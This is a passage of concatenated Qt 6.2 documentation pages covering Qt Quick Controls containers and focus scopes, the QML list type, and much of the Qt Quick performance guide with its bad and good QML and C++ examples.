[TabBar](qml-qtquick-controls2-tabbar) organizes content pages into tabs.

 ToolBar Control
---------------

 ![]


[ToolBar](qml-qtquick-controls2-toolbar) is a container of application-wide and context-sensitive actions and controls.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquickcontrols2-containers.html>

Focus Management in Qt Quick Controls
=====================================

 Qt Quick Controls follows the standard [Qt Quick focus system](qtquick-input-focus), while also providing some added convenience. For example, the [focusPolicy](qml-qtquick-controls2-control#focusPolicy-prop) property can be used to control the ways in which a control receives focus.

 Focus Scope Controls
--------------------

 Qt Quick Controls offers a selection of controls that act as [focus scopes](qtquick-input-focus#acquiring-focus-and-focus-scopes):

 

|  |  |
| --- | --- |
| [ApplicationWindow](qml-qtquick-controls2-applicationwindow) | Styled top-level window with support for a header and footer |
| [ComboBox](qml-qtquick-controls2-combobox) | Combined button and popup list for selecting options |
| [MenuBar](qml-qtquick-controls2-menubar) | Provides a window menu bar |
| [Page](qml-qtquick-controls2-page) | Styled page control with support for a header and footer |
| [Pane](qml-qtquick-controls2-pane) | Provides a background matching with the application style and theme |
| [Popup](qml-qtquick-controls2-popup) | Base type of popup-like user interface controls |
| [RangeSlider](qml-qtquick-controls2-rangeslider) | Used to select a range of values by sliding two handles along a track |
| [ScrollView](qml-qtquick-controls2-scrollview) | Scrollable view |
| [SpinBox](qml-qtquick-controls2-spinbox) | Allows the user to select from a set of preset values |
| [SplitView](qml-qtquick-controls2-splitview) | Lays out items with a draggable splitter between each item |
| [StackView](qml-qtquick-controls2-stackview) | Provides a stack-based navigation model |
| [SwipeView](qml-qtquick-controls2-swipeview) | Enables the user to navigate pages by swiping sideways |
| [TabBar](qml-qtquick-controls2-tabbar) | Allows the user to switch between different views or subtasks |

 **See also** [Keyboard Focus in Qt Quick](qtquick-input-focus).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquickcontrols2-focus.html>

list QML Basic Type
===================

 The `list` type refers to a list of QML objects.

 A list value can be accessed in a similar way to a JavaScript array:

 * Values are assigned using the `[]` square bracket syntax with comma-separated values
* The `length` property provides the number of items in the list
* Values in the list are accessed using the `[index]` syntax

 Values can be dynamically added to the list by using the `push` method, as if it were a JavaScript Array

 A `list` can only store QML objects, and cannot contain any [basic type](qtqml-typesystem-basictypes) values. (To store basic types within a list, use the [var](qml-var) type instead.)

 When integrating with C++, note that any [QQmlListProperty](qqmllistproperty) value [passed into QML from C++](qtqml-cppintegration-data) is automatically converted into a `list` value, and vice-versa.

 Using the list Type
-------------------

 For example, the [Item](qml-qtquick-item) type has a [states](qml-qtquick-item#states-prop) list-type property that can be assigned to and used as follows:

 
```
import QtQuick 2.0

Item {
    width: 100; height: 100

    states: [
        State { name: "activated" },
        State { name: "deactivated" }
    ]

    Component.onCompleted: {
        console.log("Name of first state:", states[0].name)
        for (var i = 0; i < states.length; i++)
            console.log("state", i, states[i].name)
    }
}
```
 The defined [State](qml-qtquick-state) objects will be added to the `states` list in the order in which they are defined.

 If the list only contains one object, the square brackets may be omitted:

 
```
import QtQuick 2.0

Item {
    width: 100; height: 100
    states: State { name: "activated" }
}
```
 Note that objects cannot be individually added to or removed from the list once created; to modify the contents of a list, it must be reassigned to a new list.

  **Note:** The `list` type is not recommended as a type for custom properties. The `var` type should be used instead for this purpose as lists stored by the `var` type can be manipulated with greater flexibility from within QML.

  This basic type is provided by the QML language.

 **See also** [QML Basic Types](qtqml-typesystem-basictypes).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-list.html>

Performance Considerations And Suggestions
==========================================

 Timing Considerations
---------------------

 As an application developer, you must strive to allow the rendering engine to achieve a consistent 60 frames-per-second refresh rate. 60 FPS means that there is approximately 16 milliseconds between each frame in which processing can be done, which includes the processing required to upload the draw primitives to the graphics hardware.

 In practice, this means that the application developer should:

 * use asynchronous, event-driven programming wherever possible
* use worker threads to do significant processing
* never manually spin the event loop
* never spend more than a couple of milliseconds per frame within blocking functions

 Failure to do so will result in skipped frames, which has a drastic effect on the user experience.

  **Note:** A pattern which is tempting, but should *never* be used, is creating your own [QEventLoop](qeventloop) or calling [QCoreApplication::processEvents](qcoreapplication#processEvents)() in order to avoid blocking within a C++ code block invoked from QML. This is dangerous, because when an event loop is entered in a signal handler or binding, the QML engine continues to run other bindings, animations, transitions, etc. Those bindings can then cause side effects which, for example, destroy the hierarchy containing your event loop.

  Profiling
---------

 The most important tip is: use the QML profiler included with Qt Creator. Knowing where time is spent in an application will allow you to focus on problem areas which actually exist, rather than problem areas which potentially exist. See the Qt Creator manual for more information on how to use the QML profiling tool.

 Determining which bindings are being run the most often, or which functions your application is spending the most time in, will allow you to decide whether you need to optimize the problem areas, or redesign some implementation details of your application so that the performance is improved. Attempting to optimize code without profiling is likely to result in very minor rather than significant performance improvements.

 JavaScript Code
---------------

 Most QML applications will have a large amount of JavaScript code in them, in the form of dynamic functions, signal handlers, and property binding expressions. This is generally not a problem. Thanks to some optimizations in the QML engine, such as those done to the bindings compiler, it can (in some use-cases) be faster than calling a C++ function. However, care must be taken to ensure that unnecessary processing isn't triggered accidentally.

 ### Type-Conversion

 One major cost of using JavaScript is that in most cases when a property from a QML type is accessed, a JavaScript object with an external resource containing the underlying C++ data (or a reference to it) is created. In most cases, this is fairly inexpensive, but in others it can be quite expensive. One example of where it is expensive is assigning a C++ QVariantMap [Q\_PROPERTY](qobject#Q_PROPERTY) to a QML "variant" property. Lists can also be expensive, although sequences of specific types ([QList](qlist) of int, qreal, bool, [QString](qstring), and [QUrl](qurl)) should be inexpensive; other list types involve an expensive conversion cost (creating a new JavaScript Array, and adding new types one by one, with per-type conversion from C++ type instance to JavaScript value).

 Converting between some basic property types (such as "string" and "url" properties) can also be expensive. Using the closest matching property type will avoid unnecessary conversion.

 If you must expose a QVariantMap to QML, use a "var" property rather than a "variant" property. In general, "property var" should be considered to be superior to "property variant" for every use-case from [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html) 2.0 and newer (note that "property variant" is marked as obsolete), as it allows a true JavaScript reference to be stored (which can reduce the number of conversions required in certain expressions).

 ### Resolving Properties

 Property resolution takes time. While in some cases the result of a lookup can be cached and reused, it is always best to avoid doing unnecessary work altogether, if possible.

 In the following example, we have a block of code which is run often (in this case, it is the contents of an explicit loop; but it could be a commonly-evaluated binding expression, for example) and in it, we resolve the object with the "rect" id and its "color" property multiple times:

 
```
// bad.qml
import QtQuick

Item {
    width: 400
    height: 200
    Rectangle {
        id: rect
        anchors.fill: parent
        color: "blue"
    }

    function printValue(which, value) {
        console.log(which + " = " + value);
    }

    Component.onCompleted: {
        var t0 = new Date();
        for (var i = 0; i < 1000; ++i) {
            printValue("red", rect.color.r);
            printValue("green", rect.color.g);
            printValue("blue", rect.color.b);
            printValue("alpha", rect.color.a);
        }
        var t1 = new Date();
        console.log("Took: " + (t1.valueOf() - t0.valueOf()) + " milliseconds for 1000 iterations");
    }
}
```
 We could instead resolve the common base just once in the block:

 
```
// good.qml
import QtQuick

Item {
    width: 400
    height: 200
    Rectangle {
        id: rect
        anchors.fill: parent
        color: "blue"
    }

    function printValue(which, value) {
        console.log(which + " = " + value);
    }

    Component.onCompleted: {
        var t0 = new Date();
        for (var i = 0; i < 1000; ++i) {
            var rectColor = rect.color; // resolve the common base.
            printValue("red", rectColor.r);
            printValue("green", rectColor.g);
            printValue("blue", rectColor.b);
            printValue("alpha", rectColor.a);
        }
        var t1 = new Date();
        console.log("Took: " + (t1.valueOf() - t0.valueOf()) + " milliseconds for 1000 iterations");
    }
}
```
 Just this simple change results in a significant performance improvement. Note that the code above can be improved even further (since the property being looked up never changes during the loop processing), by hoisting the property resolution out of the loop, as follows:

 
```
// better.qml
import QtQuick

Item {
    width: 400
    height: 200
    Rectangle {
        id: rect
        anchors.fill: parent
        color: "blue"
    }

    function printValue(which, value) {
        console.log(which + " = " + value);
    }

    Component.onCompleted: {
        var t0 = new Date();
        var rectColor = rect.color; // resolve the common base outside the tight loop.
        for (var i = 0; i < 1000; ++i) {
            printValue("red", rectColor.r);
            printValue("green", rectColor.g);
            printValue("blue", rectColor.b);
            printValue("alpha", rectColor.a);
        }
        var t1 = new Date();
        console.log("Took: " + (t1.valueOf() - t0.valueOf()) + " milliseconds for 1000 iterations");
    }
}
```
 ### Property Bindings

 A property binding expression will be re-evaluated if any of the properties it references are changed. As such, binding expressions should be kept as simple as possible.

 If you have a loop where you do some processing, but only the final result of the processing is important, it is often better to update a temporary accumulator which you afterwards assign to the property you need to update, rather than incrementally updating the property itself, in order to avoid triggering re-evaluation of binding expressions during the intermediate stages of accumulation.

 The following contrived example illustrates this point:

 
```
// bad.qml
import QtQuick

Item {
    id: root
    width: 200
    height: 200
    property int accumulatedValue: 0

    Text {
        anchors.fill: parent
        text: root.accumulatedValue.toString()
        onTextChanged: console.log("text binding re-evaluated")
    }

    Component.onCompleted: {
        var someData = [ 1, 2, 3, 4, 5, 20 ];
        for (var i = 0; i < someData.length; ++i) {
            accumulatedValue = accumulatedValue + someData[i];
        }
    }
}
```
 The loop in the onCompleted handler causes the "text" property binding to be re-evaluated six times (which then results in any other property bindings which rely on the text value, as well as the onTextChanged signal handler, to be re-evaluated each time, and lays out the text for display each time). This is clearly unnecessary in this case, since we really only care about the final value of the accumulation.

 It could be rewritten as follows:

 
```
// good.qml
import QtQuick

Item {
    id: root
    width: 200
    height: 200
    property int accumulatedValue: 0

    Text {
        anchors.fill: parent
        text: root.accumulatedValue.toString()
        onTextChanged: console.log("text binding re-evaluated")
    }

    Component.onCompleted: {
        var someData = [ 1, 2, 3, 4, 5, 20 ];
        var temp = accumulatedValue;
        for (var i = 0; i < someData.length; ++i) {
            temp = temp + someData[i];
        }
        accumulatedValue = temp;
    }
}
```
 ### Sequence tips

 As mentioned earlier, some sequence types are fast (for example, [QList](qlist)<int>, [QList](qlist)<qreal>, [QList](qlist)<bool>, [QList](qlist)<[QString](qstring)>, [QStringList](qstringlist) and [QList](qlist)<[QUrl](qurl)>) while others will be much slower. Aside from using these types wherever possible instead of slower types, there are some other performance-related semantics you need to be aware of to achieve the best performance.

 Firstly, there are two different implementations for sequence types: one for where the sequence is a [Q\_PROPERTY](qobject#Q_PROPERTY) of a [QObject](qobject) (we'll call this a reference sequence), and another for where the sequence is returned from a [Q\_INVOKABLE](qobject#Q_INVOKABLE) function of a [QObject](qobject) (we'll call this a copy sequence).

 A reference sequence is read and written via [QMetaObject::property](qmetaobject#property)() and thus is read and written as a [QVariant](qvariant). This means that changing the value of any element in the sequence from JavaScript will result in three steps occurring: the complete sequence will be read from the [QObject](qobject) (as a [QVariant](qvariant), but then cast to a sequence of the correct type); the element at the specified index will be changed in that sequence; and the complete sequence will be written back to the [QObject](qobject) (as a [QVariant](qvariant)).

 A copy sequence is far simpler as the actual sequence is stored in the JavaScript object's resource data, so no read/modify/write cycle occurs (instead, the resource data is modified directly).

 Therefore, writes to elements of a reference sequence will be much slower than writes to elements of a copy sequence. In fact, writing to a single element of an N-element reference sequence is equivalent in cost to assigning a N-element copy sequence to that reference sequence, so you're usually better off modifying a temporary copy sequence and then assigning the result to a reference sequence, during computation.

 Assume the existence (and prior registration into the "Qt.example" namespace) of the following C++ type:

 
```
class SequenceTypeExample : public QQuickItem
{
    Q_OBJECT
    Q_PROPERTY (QList<qreal> qrealListProperty READ qrealListProperty WRITE setQrealListProperty NOTIFY qrealListPropertyChanged)

public:
    SequenceTypeExample() : QQuickItem() { m_list << 1.1 << 2.2 << 3.3; }
    ~SequenceTypeExample() {}

    QList<qreal> qrealListProperty() const { return m_list; }
    void setQrealListProperty(const QList<qreal> &list) { m_list = list; emit qrealListPropertyChanged(); }

signals:
    void qrealListPropertyChanged();

private:
    QList<qreal> m_list;
};
```
 The following example writes to elements of a reference sequence in a tight loop, resulting in bad performance:

 
```
// bad.qml
import QtQuick
import Qt.example

SequenceTypeExample {
    id: root
    width: 200
    height: 200

    Component.onCompleted: {
        var t0 = new Date();
        qrealListProperty.length = 100;
        for (var i = 0; i < 500; ++i) {
            for (var j = 0; j < 100; ++j) {
                qrealListProperty[j] = j;
            }
        }
        var t1 = new Date();
        console.log("elapsed: " + (t1.valueOf() - t0.valueOf()) + " milliseconds");
    }
}
```
 The [QObject](qobject) property read and write in the inner loop caused by the `"qrealListProperty[j] = j"` expression makes this code very suboptimal. Instead, something functionally equivalent but much faster would be:

 
```
// good.qml
import QtQuick
import Qt.example

SequenceTypeExample {
    id: root
    width: 200
    height: 200

    Component.onCompleted: {
        var t0 = new Date();
        var someData = [1.1, 2.2, 3.3]
        someData.length = 100;
        for (var i = 0; i < 500; ++i) {
            for (var j = 0; j < 100; ++j) {
                someData[j] = j;
            }
            qrealListProperty = someData;
        }
        var t1 = new Date();
        console.log("elapsed: " + (t1.valueOf() - t0.valueOf()) + " milliseconds");
    }
}
```
 Secondly, a change signal for the property is emitted if any element in it changes. If you have many bindings to a particular element in a sequence property, it is better to create a dynamic property which is bound to that element, and use that dynamic property as the symbol in the binding expressions instead of the sequence element, as it will only cause re-evaluation of bindings if its value changes.

 This is an unusual use-case which most clients should never hit, but is worth being aware of, in case you find yourself doing something like this:

 
```
// bad.qml
import QtQuick
import Qt.example

SequenceTypeExample {
    id: root

    property int firstBinding: qrealListProperty[1] + 10;
    property int secondBinding: qrealListProperty[1] + 20;
    property int thirdBinding: qrealListProperty[1] + 30;

    Component.onCompleted: {
        var t0 = new Date();
        for (var i = 0; i < 1000; ++i) {
            qrealListProperty[2] = i;
        }
        var t1 = new Date();
        console.log("elapsed: " + (t1.valueOf() - t0.valueOf()) + " milliseconds");
    }
}
```
 Note that even though only the element at index 2 is modified in the loop, the three bindings will all be re-evaluated since the granularity of the change signal is that the entire property has changed. As such, adding an intermediate binding can sometimes be beneficial:

 
```
// good.qml
import QtQuick
import Qt.example

SequenceTypeExample {
    id: root

    property int intermediateBinding: qrealListProperty[1]
    property int firstBinding: intermediateBinding + 10;
    property int secondBinding: intermediateBinding + 20;
    property int thirdBinding: intermediateBinding + 30;

    Component.onCompleted: {
        var t0 = new Date();
        for (var i = 0; i < 1000; ++i) {
            qrealListProperty[2] = i;
        }
        var t1 = new Date();
        console.log("elapsed: " + (t1.valueOf() - t0.valueOf()) + " milliseconds");
    }
}
```
 In the above example, only the intermediate binding will be re-evaluated each time, resulting in a significant performance increase.

 ### Value-Type tips

 Value-type properties (font, color, vector3d, etc) have similar [QObject](qobject) property and change notification semantics to sequence type properties. As such, the tips given above for sequences are also applicable for value-type properties. While they are usually less of a problem with value-types (since the number of sub-properties of a value-type is usually far less than the number of elements in a sequence), any increase in the number of bindings being re-evaluated needlessly will have a negative impact on performance.

 General Performance Tips
------------------------

 General JavaScript performance considerations resulting from the language design are applicable also to QML. Most prominently:

 * Avoid using eval() if at all possible
* Do not delete properties of objects

 Common Interface Elements
-------------------------

 ### Text Elements

 Calculating text layouts can be a slow operation. Consider using the `PlainText` format instead of `StyledText` wherever possible, as this reduces the amount of work required of the layout engine. If you cannot use `PlainText` (as you need to embed images, or use tags to specify ranges of characters to have certain formatting (bold, italic, etc) as opposed to the entire text) then you should use `StyledText`.

 You should only use `AutoText` if the text might be (but probably isn't) `StyledText` as this mode will incur a parsing cost. The `RichText` mode should not be used, as `StyledText` provides almost all of its features at a fraction of its cost.

 ### Images

 Images are a vital part of any user interface. Unfortunately, they are also a big source of problems due to the time it takes to load them, the amount of memory they consume, and the way in which they are used.

 #### Asynchronous Loading

 Images are often quite large, and so it is wise to ensure that loading an image doesn't block the UI thread. Set the "asynchronous" property of the QML Image element to `true` to enable asynchronous loading of images from the local file system (remote images are always loaded asynchronously) where this would not result in a negative impact upon the aesthetics of the user interface.

 Image elements with the "asynchronous" property set to `true` will load images in a low-priority worker thread.

 #### Explicit Source Size

 If your application loads a large image but displays it in a small-sized element, set the "sourceSize" property to the size of the element being rendered to ensure that the smaller-scaled version of the image is kept in memory, rather than the large one.

 Beware that changing the sourceSize will cause the image to be reloaded.

 #### Avoid Run-time Composition

 Also remember that you can avoid doing composition work at run-time by providing the pre-composed image resource with your application (for example, providing elements with shadow effects).

 #### Avoid Smoothing Images

 Enable `image.smooth` only if required. It is slower on some hardware, and it has no visual effect if the image is displayed in its natural size.

 #### Painting

 Avoid painting the same area several times. Use Item as root element rather than Rectangle to avoid painting the background several times.

 ### Position Elements With Anchors

 It is more efficient to use anchors rather than bindings to position items relative to each other. Consider this use of bindings to position rect2 relative to rect1:

 
```
Rectangle {
    id: rect1
    x: 20
    width: 200; height: 200
}
Rectangle {
    id: rect2
    x: rect1.x
    y: rect1.y + rect1.height
    width: rect1.width - 20
    height: 200
}
```
 This is achieved more efficiently using anchors:

 
```
Rectangle {
    id: rect1
    x: 20
    width: 200; height: 200
}
Rectangle {
    id: rect2
    height: 200
    anchors.left: rect1.left
    anchors.top: rect1.bottom
    anchors.right: rect1.right
    anchors.rightMargin: 20
}
```
 Positioning with bindings (by assigning binding expressions to the x, y, width and height properties of visual objects, rather than using anchors) is relatively slow, although it allows maximum flexibility.

 If the layout is not dynamic, the most performant way to specify the layout is via static initialization of the x, y, width and height properties. Item coordinates are always relative to their parent, so if you wanted to be a fixed offset from your parent's 0,0 coordinate you should not use anchors. In the following example the child Rectangle objects are in the same place, but the anchors code shown is not as resource efficient as the code which uses fixed positioning via static initialization:

 
```
Rectangle {
    width: 60
    height: 60
    Rectangle {
        id: fixedPositioning
        x: 20
        y: 20
        width: 20
        height: 20
    }
    Rectangle {
        id: anchorPositioning
        anchors.fill: parent
        anchors.margins: 20
    }
}
```
 Models and Views
----------------

 Most applications will have at least one model feeding data to a view. There are some semantics which application developers need to be aware of, in order to achieve maximal performance.

 ### Custom C++ Models

 It is often desirable to write your own custom model in C++ for use with a view in QML. While the optimal implementation of any such model will depend heavily on the use-case it must fulfil, some general guidelines are as follows:

 * Be as asynchronous as possible
* Do all processing in a (low priority) worker thread
* Batch up backend operations so that (potentially slow) I/O and IPC is minimized

 It is important to note that using a low-priority worker thread is recommended to minimize the risk of starving the GUI thread (which could result in worse perceived performance). Also, remember that synchronization and locking mechanisms can be a significant cause of slow performance, and so care should be taken to avoid unnecessary locking.

 ### ListModel QML Type

 QML provides a [ListModel](qml-qtqml-models-listmodel) type which can be used to feed data to a [ListView](qml-qtquick-listview). It should suffice for most use-cases and be relatively performant so long as it is used correctly.

 #### Populate Within A Worker Thread

 [ListModel](qml-qtqml-models-listmodel) elements can be populated in a (low priority) worker thread in JavaScript. The developer must explicitly call "sync()" on the [ListModel](qml-qtqml-models-listmodel) from within the [WorkerScript](qml-qtqml-workerscript-workerscript) to have the changes synchronized to the main thread. See the [WorkerScript](qml-qtqml-workerscript-workerscript) documentation for more information.

 Please note that using a [WorkerScript](qml-qtqml-workerscript-workerscript) element will result in a separate JavaScript engine being created (as the JavaScript engine is per-thread). This will result in increased memory usage. Multiple [WorkerScript](qml-qtqml-workerscript-workerscript) elements will all use the same worker thread, however, so the memory impact of using a second or third [WorkerScript](qml-qtqml-workerscript-workerscript) element is negligible once an application already uses one.

 #### Don't Use Dynamic Roles

 The [ListModel](qml-qtqml-models-listmodel) element in [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html) 2 is much more performant than in [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html) 1. The performance improvements mainly come from assumptions about the type of roles within each element in a given model - if the type doesn't change, the caching performance improves dramatically. If the type can change dynamically from element to element, this optimization becomes impossible, and the performance of the model will be an order of magnitude worse.

 Therefore, dynamic typing is disabled by default; the developer must specifically set the boolean "dynamicRoles" property of the model to enable dynamic typing (and suffer the attendant performance degradation). We recommend that you do not use dynamic typing if it is possible to redesign your application to avoid it.

 ### Views

 View delegates should be kept as simple as possible. Have just enough QML in the delegate to display the necessary information. Any additional functionality which is not immediately required (for example, if it displays more information when clicked) should not be created until needed (see the upcoming section on lazy initialization).

 The following list is a good summary of things to keep in mind when designing a delegate:

 * The fewer elements that are in a delegate, the faster they can be created, and thus the faster the view can be scrolled.
* Keep the number of bindings in a delegate to a minimum; in particular, use anchors rather than bindings for relative positioning within a delegate.
* Avoid using [ShaderEffect](qml-qtquick-shadereffect) elements within delegates.
* Never enable clipping on a delegate.

 You may set the `cacheBuffer` property of a view to allow asynchronous creation and buffering of delegates outside of the visible area. Utilizing a `cacheBuffer` is recommended for view delegates that are non-trivial and unlikely to be created within a single frame.

 Bear in mind that a `cacheBuffer` keeps additional delegates in-memory. Therefore, the value derived from utilizing the `cacheBuffer` must be balanced against additional memory usage. Developers should use benchmarking to find the best value for their use-case, since the increased memory pressure caused by utilizing a `cacheBuffer` can, in some rare cases, cause reduced frame rate when scrolling.

 Visual Effects
--------------

 [Qt Quick 2](qtquick-index) includes several features which allow developers and designers to create exceptionally appealing user interfaces. Fluidity and dynamic transitions as well as visual effects can be used to great effect in an application, but some care must be taken when using some of the features in QML as they can have performance implications.

 ### Animations

 In general, animating a property will cause any bindings which reference that property to be re-evaluated. Usually, this is what is desired but in other cases it may be better to disable the binding prior to performing the animation, and then reassign the binding once the animation has completed.

 Avoid running JavaScript during animation. For example, running a complex JavaScript expression for each frame of an x property animation should be avoided.

 Developers should be especially careful using script animations, as these are run in the main thread (and therefore can cause frames to be skipped if they take too long to complete).

 ### Particles

 The [Qt Quick Particles](https://doc.qt.io/qt-6.2/qtquick-particles-qmlmodule.html) module allows beautiful particle effects to be integrated seamlessly into user interfaces. However, every platform has different graphics hardware capabilities, and the Particles module is unable to limit parameters to what your hardware can gracefully support. The more particles you attempt to render (and the larger they are), the faster your graphics hardware will need to be in order to render at 60 FPS. Affecting more particles requires a faster CPU. It is therefore important to test all particle effects on your target platform carefully, to calibrate the number and size of particles you can render at 60 FPS.

 It should be noted that a particle system can be disabled when not in use (for example, on a non-visible element) to avoid doing unnecessary simulation.

 See the [Particle System Performance Guide](qtquick-particles-performance) for more in-depth information.

 Controlling Element Lifetime
----------------------------

 By partitioning an application into simple, modular components, each contained in a single QML file, you can achieve faster application startup time and better control over memory usage, and reduce the number of active-but-invisible elements in your application.

 ### Lazy Initialization

 The QML engine does some tricky things to try to ensure that loading and initialization of components doesn't cause frames to be skipped. However, there is no better way to reduce startup time than to avoid doing work you don't need to do, and delaying the work until it is necessary. This may be achieved by using either [Loader](qml-qtquick-loader) or creating components [dynamically](qtqml-javascript-dynamicobjectcreation).

 #### Using Loader

 The Loader is an element which allows dynamic loading and unloading of components.

 * Using the "active" property of a Loader, initialization can be delayed until required.
* Using the overloaded version of the "setSource()" function, initial property values can be supplied.
* Setting the Loader [asynchronous](qml-qtquick-loader#asynchronous-prop) property to true may also improve fluidity while a component is instantiated.

 #### Using Dynamic Creation

 Developers can use the Qt.createComponent() function to create a component dynamically at runtime from within JavaScript, and then call createObject() to instantiate it. Depending on the ownership semantics specified in the call, the developer may have to delete the created object manually. See [Dynamic QML Object Creation from JavaScript](qtqml-javascript-dynamicobjectcreation) for more information.

 ### Destroy Unused Elements

 Elements which are invisible because they are a child of a non-visible element (for example, the second tab in a tab-widget, while the first tab is shown) should be initialized lazily in most cases, and deleted when no longer in use, to avoid the ongoing cost of leaving them active (for example, rendering, animations, property binding evaluation, etc).

 An item loaded with a Loader element may be released by resetting the "source" or "sourceComponent" property of the Loader, while other items may be explicitly released by calling destroy() on them. In some cases, it may be necessary to leave the item active, in which case it should be made invisible at the very least.

 See the upcoming section on Rendering for more information on active but invisible elements.

 Rendering
---------

 The scene graph used for rendering in [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html) 2 allows highly dynamic, animated user interfaces to be rendered fluidly at 60 FPS. There are some things which can dramatically decrease rendering performance, however, and developers should be careful to avoid these pitfalls wherever possible.

 ### Clipping

 Clipping is disabled by default, and should only be enabled when required.

 Clipping is a visual effect, NOT an optimization. It increases (rather than reduces) complexity for the renderer. If clipping is enabled, an item will clip its own painting, as well as the painting of its children, to its bounding rectangle. This stops the renderer from being able to reorder the drawing order of elements freely, resulting in a sub-optimal best-case scene graph traversal.

 Clipping inside a delegate is especially bad and should be avoided at all costs.

 ### Over-drawing and Invisible Elements

 If you have elements which are totally covered by other (opaque) elements, it is best to set their "visible" property to `false` or they will be drawn needlessly.

 Similarly, elements which are invisible (for example, the second tab in a tab widget, while the first tab is shown) but need to be initialized at startup time (for example, if the cost of instantiating the second tab takes too long to be able to do it only when the tab is activated), should have their "visible" property set to `false`, in order to avoid the cost of drawing them (although as previously explained, they will still incur the cost of any animations or bindings evaluation since they are still active).

 ### Translucent vs Opaque

 Opaque content is generally a lot faster to draw than translucent. The reason being that translucent content needs blending and that the renderer can potentially optimize opaque content better.

 An image with one translucent pixel is treated as fully translucent, even though it is mostly opaque. The same is true for an [BorderImage](qml-qtquick-borderimage) with transparent edges.

 ### Shaders

 The [ShaderEffect](qml-qtquick-shadereffect) type makes it possible to place GLSL code inline in a Qt Quick application with very little overhead. However, it is important to realize that the fragment program needs to run for every pixel in the rendered shape. When deploying to low-end hardware and the shader is covering a large amount of pixels, one should keep the fragment shader to a few instructions to avoid poor performance.

 Shaders written in GLSL allow for complex transformations and visual effects to be written, however they should be used with care. Using a [ShaderEffectSource](qml-qtquick-shadereffectsource) causes a scene to be prerendered into an FBO before it can be drawn. This extra overhead can be quite expensive.

 Memory Allocation And Collection
--------------------------------

 The amount of memory which will be allocated by an application and the way in which that memory will be allocated are very important considerations. Aside from the obvious concerns about out-of-memory conditions on memory-constrained devices, allocating memory on the heap is a fairly computationally expensive operation, and certain allocation strategies can result in increased fragmentation of data across pages. JavaScript uses a managed memory heap which is automatically garbage collected, and this has some advantages, but also some important implications.

 An application written in QML uses memory from both the C++ heap and an automatically managed JavaScript heap. The application developer needs to be aware of the subtleties of each in order to maximise performance.

 ### Tips For QML Application Developers

 The tips and suggestions contained in this section are guidelines only, and may not be applicable in all circumstances. Be sure to benchmark and analyze your application carefully using empirical metrics, in order to make the best decisions possible.

 #### Instantiate and initialize components lazily

 If your application consists of multiple views (for example, multiple tabs) but only one is required at any one time, you can use lazy instantiation to minimize the amount of memory you need to have allocated at any given time. See the prior section on [Lazy Initialization](qtquick-performance#lazy-initialization) for more information.

 #### Destroy unused objects

 If you lazy load components, or create objects dynamically during a JavaScript expression, it is often better to `destroy()` them manually rather than wait for automatic garbage collection to do so. See the prior section on [Controlling Element Lifetime](qtquick-performance#controlling-element-lifetime) for more information.

 #### Don't manually invoke the garbage collector

 In most cases, it is not wise to manually invoke the garbage collector, as it will block the GUI thread for a substantial period of time. This can result in skipped frames and jerky animations, which should be avoided at all costs.

 There are some cases where manually invoking the garbage collector is acceptable (and this is explained in greater detail in an upcoming section), but in most cases, invoking the garbage collector is unnecessary and counter-productive.

 #### Avoid defining multiple identical implicit types

 If a QML element has a custom property defined in QML, it becomes its own implicit type. This is explained in greater detail in an upcoming section. If multiple identical implicit types are defined inline in a component, some memory will be wasted. In that situation it is usually better to explicitly define a new component which can then be reused.

 Defining a custom property can often be a beneficial performance optimization (for example, to reduce the number of bindings which are required or re-evaluated), or it can improve the modularity and maintainability of a component. In those cases, using custom properties is encouraged. However, the new type should, if it is used more than once, be split into its own component (.qml file) in order to conserve memory.

 #### Reuse existing components

 If you are considering defining a new component, it's worth double checking that such a component doesn't already exist in the component set for your platform. Otherwise, you will be forcing the QML engine to generate and store type-data for a type which is essentially a duplicate of another pre-existing and potentially already loaded component.

 #### Use singleton types instead of pragma library scripts

 If you are using a pragma library script to store application-wide instance data, consider using a [QObject](qobject) singleton type instead. This should result in better performance, and will result in less JavaScript heap memory being used.

 ### Memory Allocation in a QML Application

 The memory usage of a QML application may be split into two parts: its C++ heap usage and its JavaScript heap usage. Some of the memory allocated in each will be unavoidable, as it is allocated by the QML engine or the JavaScript engine, while the rest is dependent upon decisions made by the application developer.

 The C++ heap will contain:

 * the fixed and unavoidable overhead of the QML engine (implementation data structures, context information, and so on);
* per-component compiled data and type information, including per-type property metadata, which is generated by the QML engine depending on which modules and which components are loaded by the application;
* per-object C++ data (including property values) plus a per-element metaobject hierarchy, depending on which components the application instantiates;
* any data which is allocated specifically by QML imports (libraries).

 The JavaScript heap will contain:

 * the fixed and unavoidable overhead of the JavaScript engine itself (including built-in JavaScript types);
* the fixed and unavoidable overhead of our JavaScript integration (constructor functions for loaded types, function templates, and so on);
* per-type layout information and other internal type-data generated by the JavaScript engine at runtime, for each type (see note below, regarding types);
* per-object JavaScript data ("var" properties, JavaScript functions and signal handlers, and non-optimized binding expressions);
* variables allocated during expression evaluation.

 Furthermore, there will be one JavaScript heap allocated for use in the main thread, and optionally one other JavaScript heap allocated for use in the [WorkerScript](qml-qtqml-workerscript-workerscript) thread. If an application does not use a [WorkerScript](qml-qtqml-workerscript-workerscript) element, that overhead will not be incurred. The JavaScript heap can be several megabytes in size, and so applications written for memory-constrained devices may be best served by avoiding the [WorkerScript](qml-qtqml-workerscript-workerscript) element despite its usefulness in populating list models asynchronously.

 Note that both the QML engine and the JavaScript engine will automatically generate their own caches of type-data about observed types. Every component loaded by an application is a distinct (explicit) type, and every element (component instance) that defines its own custom properties in QML is an implicit type. Any element (instance of a component) that does not define any custom property is considered by the JavaScript and QML engines to be of the type explicitly defined by the component, rather than its own implicit type.

 Consider the following example:

 
```
import QtQuick

Item {
    id: root

    Rectangle {
        id: r0
        color: "red"
    }

    Rectangle {
        id: r1
        color: "blue"
        width: 50
    }

    Rectangle {
        id: r2
        property int customProperty: 5
    }

    Rectangle {
        id: r3
        property string customProperty: "hello"
    }

    Rectangle {
        id: r4
        property string customProperty: "hello"
    }
}
```
